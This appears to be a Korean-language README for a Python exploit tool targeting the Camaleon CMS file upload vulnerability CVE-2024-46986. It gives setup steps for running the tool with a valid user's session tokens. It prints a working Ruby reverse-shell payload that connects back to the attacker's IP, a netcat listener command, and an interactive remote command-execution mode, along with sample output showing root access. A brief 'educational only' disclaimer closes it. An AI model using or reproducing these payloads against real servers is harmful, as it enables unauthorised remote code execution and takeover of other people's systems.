
# Camaleon CMS 임의 파일 업로드 취약점(CVE-2024-46986) 자동화 Python 익스플로잇 인증된 원격 코드 실행을 위한 리버스 셸 및 명령 실행 페이로드를 지원합니다.
이 저장소에는 Camaleon CMS의 파일 업로드 취약점 악용을 자동화하는 Python 스크립트가 포함되어 있습니다. 이 취약점으로 인해 공격자는 서버에 임의 파일(예: Ruby 스크립트)을 업로드할 수 있으며, 잠재적으로 원격 코드 실행(RCE) 또는 기타 심각한 보안 영향으로 이어질 수 있습니다.
requests 라이브러리를 사용하여 전체 프로세스를 자동화합니다.유효한 사용자 자격 증명: 익스플로잇이 작동하려면 인증된 세션이 필요합니다. 유효한 사용자의 auth_token과 _cms_session이 필요합니다.
Python 3.x: Python 3.x가 설치되어 있는지 확인하세요.
Python requests 라이브러리: 아직 설치되지 않은 경우 requests 라이브러리를 설치하세요.
pip install requests
저장소를 클론합니다:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
Python 스크립트의 자리 표시자 your_auth_token_here, your_session_token_here 및 https://target_site_here를 실제 값으로 바꿉니다.
리버스 셸 페이로드를 사용하는 경우 your_ip와 your_port도 리스너를 설정할 IP 주소와 포트로 바꿉니다.
리버스 셸: 리버스 셸을 업로드하려면 스크립트의 payload_type 변수를 "reverse_shell"로 설정합니다.
명령 실행: 시스템 명령을 실행하는 스크립트를 업로드하려면 payload_type을 "command_execution"으로 설정합니다. 대상 서버에서 실행할 명령을 반복적으로 입력할 수 있습니다.
bash
python exploit_camaleon.py
명령 실행 페이로드를 사용하는 경우 여러 명령을 입력할 수 있습니다:
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
페이로드 유형
리버스 셸 페이로드는 공격자의 시스템에 다시 연결하여 서버에서 원격 코드 실행을 가능하게 합니다.
Python 코드 내부의 Ruby 스크립트에서 IP와 포트를 수정합니다.
페이로드 예시:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
netcat을 사용하여 자신의 시스템에 리스너를 설정합니다:
bash
nc -lvnp <your_port>
2. 명령 실행
이 페이로드는 서버에서 시스템 명령(예: whoami)을 실행하는 Ruby 스크립트를 업로드합니다. 실행 중에 명령을 반복적으로 입력할 수 있습니다.
스크립트는 exit를 입력할 때까지 계속 명령을 요청합니다.
예시:
ruby
system("whoami")
익스플로잇이 성공적으로 실행되면 터미널에 성공을 나타내는 출력이 표시됩니다:
python
Exploit executed successfully with payload type: reverse_shell!
리버스 셸을 사용하는 경우 netcat 리스너를 통해 손상된 서버의 셸에 접근할 수 있습니다.
명령 실행 페이로드의 경우:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
이 스크립트는 교육 목적으로만 제공됩니다. 작성자는 이 익스플로잇으로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 취약점을 테스트하거나 악용하기 전에 항상 권한이 있는지 확인하십시오. 기여
개선 사항이나 추가 기능에 대한 이슈나 풀 리퀘스트를 자유롭게 제출하세요!
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.